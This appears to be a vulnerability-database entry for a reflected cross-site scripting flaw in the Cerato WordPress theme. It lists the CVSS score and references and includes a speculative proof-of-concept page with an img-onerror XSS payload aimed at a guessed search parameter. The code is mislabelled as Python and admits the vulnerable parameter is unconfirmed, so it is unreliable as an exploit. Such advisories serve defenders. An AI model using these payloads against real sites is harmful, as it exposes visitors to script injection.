CVE-2025-58920

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Zootemplate Cerato cerato allows Reflected XSS.This issue affects Cerato: from n/a through <= 2.2.18.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Zootemplate Cerato <= 2.2.18

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for Reflected XSS in Cerato Theme -->
<!-- Note: The specific vulnerable parameter needs to be confirmed via source code review or fuzzing -->

<html>
  <body>
  <script>
    // Define the malicious payload
    var payload = "<img src=x onerror=alert('CVE-2025-58920')>";
    
    // Hypothetical vulnerable endpoint (replace with actual path if known)
    // Often search fields or similar parameters are vulnerable in themes
    var targetUrl = "http://target-site.com/?search=" + encodeURIComponent(payload);
    
    // Log the generated exploit URL
    console.log("Exploit URL: " + targetUrl);
    
    // In a real scenario, the victim would click a link pointing to targetUrl
    // For demonstration, we simply print the URL
    document.body.innerHTML = "<a href='" + targetUrl + "'>Click to test PoC</a>";
  </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58920
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58920
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58920/
[4] VulDB https://vuldb.com/cve/CVE-2025-58920
[5] https://patchstack.com/database/Wordpress/Theme/cerato/vulnerability/wordpress-cerato-theme-2-2-18-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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